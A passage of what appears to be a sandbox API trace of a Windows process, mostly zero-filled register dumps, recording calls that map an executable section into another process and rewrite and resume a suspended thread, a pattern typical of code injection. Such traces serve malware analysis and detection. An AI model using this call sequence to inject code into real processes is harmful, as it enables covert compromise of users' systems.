[451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0564.035] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0564.035] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xdea00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xdf000) returned 0x0 [0564.039] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xdea00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x11b0000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xdf000) returned 0x0 [0564.051] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0564.161] NtClose (Handle=0x214) returned 0x0 [0564.161] NtSetContextThread (ThreadHandle=0x1e4, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xeffa98, Ebx=0xd23000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xeffa40, Eip=0x11fc927, SegCs=0x23, EFlags=0x206, Esp=0xeffa28, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0564.161] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0564.161] NtClose (Handle=0x20c) returned 0x0 [0564.161] NtClose (Handle=0x1e4) returned 0x0 [0564.163] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x6a4, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0564.163] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0564.163] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0564.163] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x5b2000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0564.163] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0569.200] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0x6c4) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0569.215] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0569.237] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2720000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0569.274] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x77f754, Ebx=0x5b2000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x77f6fc, Eip=0x7742295c, SegCs=0x23, EFlags=0x206, Esp=0x77f6e4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0569.275] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0569.276] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0xcca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0xcd000) returned 0x0 [0569.288] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0xcca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x930000, SectionOffset=0x0, ViewSize=0x6be5b0*=0xcd000) returned 0x0 [0569.298] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0569.368] NtClose (Handle=0x214) returned 0x0 [0569.368] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x77f754, Ebx=0x5b2000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x77f6fc, Eip=0x96a927, SegCs=0x23, EFlags=0x206, Esp=0x77f6e4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, 